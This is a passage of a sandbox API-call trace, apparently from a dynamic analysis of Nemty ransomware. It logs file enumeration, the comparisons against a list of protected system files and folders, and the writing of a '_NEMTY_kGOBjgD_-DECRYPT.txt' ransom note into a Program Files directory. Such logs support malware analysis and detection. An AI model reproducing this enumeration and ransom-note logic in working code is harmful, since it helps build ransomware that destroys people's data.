lpString2="..") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="...") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="windows") returned -1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="$RECYCLE.BIN") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="rsa") returned -1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="NTDETECT.COM") returned -1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="ntldr") returned -1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="MSDOS.SYS") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="IO.SYS") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="boot.ini") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="boot.ini") returned 1 [0100.848] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="AUTOEXEC.BAT") returned 1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="ntuser.dat") returned -1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="desktop.ini") returned 1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="CONFIG.SYS") returned 1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="RECYCLER") returned -1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="BOOTSECT.BAK") returned 1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="bootmgr") returned 1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="programdata") returned -1 [0100.849] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="appdata") returned 1 [0100.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll", lpUsedDefaultChar=0x0) returned 12 [0100.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll", lpUsedDefaultChar=0x0) returned 12 [0100.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll", lpUsedDefaultChar=0x0) returned 12 [0100.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0100.849] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NBMapTIP.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NBMapTIP.dll", lpUsedDefaultChar=0x0) returned 12 [0100.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0100.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.849] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".") returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="..") returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="...") returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="windows") returned -1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="$RECYCLE.BIN") returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="rsa") returned -1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="NTDETECT.COM") returned 1 [0100.849] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="ntldr") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="MSDOS.SYS") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="IO.SYS") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="boot.ini") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="boot.ini") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="AUTOEXEC.BAT") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="ntuser.dat") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="desktop.ini") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="CONFIG.SYS") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="RECYCLER") returned -1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="BOOTSECT.BAK") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="bootmgr") returned 1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="programdata") returned -1 [0100.850] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="appdata") returned 1 [0100.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe", lpUsedDefaultChar=0x0) returned 11 [0100.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe", lpUsedDefaultChar=0x0) returned 11 [0100.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x653f5e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe", lpUsedDefaultChar=0x0) returned 11 [0100.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0100.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDIALOG.exe", cchWideChar=11, lpMultiByteStr=0x653f618, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDIALOG.exe", lpUsedDefaultChar=0x0) returned 11 [0100.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0100.850] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0100.850] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0100.850] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0100.850] lstrcmpiW (lpString1="Templates", lpString2="...") returned 1 [0100.850] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0100.850] lstrcmpiW (lpString1="Templates", lpString2="$RECYCLE.BIN") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="rsa") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="NTDETECT.COM") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="ntldr") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="MSDOS.SYS") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="IO.SYS") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="boot.ini") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="boot.ini") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="AUTOEXEC.BAT") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="desktop.ini") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="CONFIG.SYS") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="RECYCLER") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="BOOTSECT.BAK") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="programdata") returned 1 [0100.851] lstrcmpiW (lpString1="Templates", lpString2="appdata") returned 1 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Templates", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Templates", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Templates", lpUsedDefaultChar=0x0) returned 9 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Templates", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Templates", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Templates", lpUsedDefaultChar=0x0) returned 9 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0100.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0100.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0100.852] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\templates\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0100.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0100.854] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.854] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0100.854] CloseHandle (hObject=0x3c4) returned 1 [0100.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0100.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0100.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0100.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0100.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0100.855] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows journal\\templates\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0100.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0100.856] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0100.856] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0100.857] CloseHandle (hObject=0x3c4) returned 1 [0100.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0100.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0100.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0100.857] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xefc25e10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xefc25e10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0100.857] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0100.857] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xefc25e10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xefc25e10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0100.857] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0100.857] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0100.857] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2=".") returned 1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="..") returned 1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="...") returned 1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="windows") returned -1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="$RECYCLE.BIN") returned 1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="rsa") returned -1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="NTDETECT.COM") returned -1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="ntldr") returned -1 [0100.857] lstrcmpiW (lpString1="blank.jtp", lpString2="MSDOS.SYS") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="IO.SYS") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="boot.ini") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="boot.ini") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="ntuser.dat") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="desktop.ini") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="CONFIG.SYS") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="RECYCLER") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="BOOTSECT.BAK") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="bootmgr") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="programdata") returned -1 [0100.858] lstrcmpiW (lpString1="blank.jtp", lpString2="appdata") returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.jtp", lpUsedDefaultChar=0x0) returned 9 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.jtp", lpUsedDefaultChar=0x0) returned 9 [0100.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0100.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blank.jtp", lpUsedDefaultChar=0x0) returned 9 [0100.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0100.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="blank.jtp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0100.858] WideCharToMultiByte (in: CodePage=0xfde9, 